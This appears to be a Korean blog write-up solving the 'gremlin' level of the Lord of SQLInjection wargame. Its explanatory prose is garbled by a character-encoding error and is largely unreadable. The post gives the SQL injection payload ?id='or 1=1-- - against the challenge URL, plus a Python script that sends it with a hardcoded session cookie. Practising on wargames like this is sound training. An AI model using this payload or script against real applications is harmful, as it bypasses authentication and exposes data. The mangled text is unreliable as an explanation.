Write Up
์ฒ์์ด๋๊น ์ ๋ฌธ์ ๋ค์ query๋ฌธ๊ณผ ํด๋น ์์ค์ฝ๋๋ฅผ ์๋ ค์ค๋๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ solve() ํจ์๋ฅผ ์คํ์ํค๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฌ๋ ํ์์
๋๋ค.
์์ค ์ฝ๋ ๋ถ์
file setup ๋ถ๋ถ๊ณผ preg_match ๋ถ๋ถ์ ๊ธฐ๋ณธ์ ์ธ php ๋ฌธ๋ฒ์ด๋ฏ๋ก ์ค๋ช
์ ๋์ด๊ฐ๊ณ
preg_match์ ๊ฒฝ์ฐ _, ., () ๋ถ๋ถ์ ํํฐ๋งํ๋ ๋ชจ์ต์
๋๋ค.
์ฐธ๊ณ ๋ก ์ ๊ทํํ์์ผ๋ก ์ ๋ฆฌํ๋ฉฐ, ํด์์ฌ์ดํธ๋ ํ๋จ์ ์์ต๋๋ค.
๊ทธ๋ฌํ๋ฉด query ๋ถ๋ถ์ where์ ์ ํตํด id๋ฅผ ๋ถ๋ฌ์ค๊ณ result์ ๋ณ์์..
ํ๋จ์ ๋งํฌ์ ํจ์๋ฅผ ์ฌ์ฉํ๋ ๋ชจ์ต์
๋๋ค. ํด์ ์ป์ ID๊ฐ ์กด์ฌํ๋ค๋ฉด solve ํจ์๋ฅผ ์คํ
Soultion
Where์ ์ฃผ์(์ฐํ)
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php
?id=%27%20or%201=1%20--%20-
?id='or 1=1-- -
ํด๋น ๋ถ๋ถ์ GET๋ฐฉ์์ผ๋ก ์ป๊ธฐ์ URL์ ์ ๋ ฅ์ ํ์ฌ SQL๋ฌธ์ ๋์ํฉ๋๋ค.
์ฌ๊ธฐ์ ๊ธฐ๋ณธ ๊ณ๋
๊ณผ ์์ผ๋ก ๋ฐฐ์ธ ๋ด์ฉ์ ์ ์ ์๊ณ ๋ฐฐ์ด ๋ด์ฉ์ ๋ฐํ์ผ๋ก
๋ฌธ์ ๋ฅผ ํ์ด๋ด
์๋ค.
Exploit code
#!/usr/bin/python3
from requests import get
from pwn import *
#import sys
# Argument check (Cookie)
'''if len(sys.argv) != 2:
print(sys.argv[0] + " [PHPSESSID Cookie]")
print(type(sys.argv[1]))
session = {sys.argv[1]}
'''
'''
headers = {
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'cookies' : 'PHPSESSID={0}'.format(session)
}
'''
url = 'https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php'
cookies = dict(PHPSESSID='ans45ovi49hnu9bs96407ahndf')
payload = ''
param = "?id='or 1=1-- -"
def pw_leak(url, query):
payload = url
payload += query
r = get(payload, cookies=cookies)
if r.text.find("<h2>GREMLIN Clear!</h2>") > 0:
log.success('Success!!')
else:
log.failure('false :(')
if __name__ in "__main__":
print(url)
pw_leak(url, param)
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐ โLord_of_SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LORD OF SQLINJECTION] orc (2) | 2023.05.13 |
---|---|
[LORD OF SQLINJECTION] goblin (0) | 2023.05.12 |
[LORD OF SQLINJECTION] cobolt (0) | 2023.05.12 |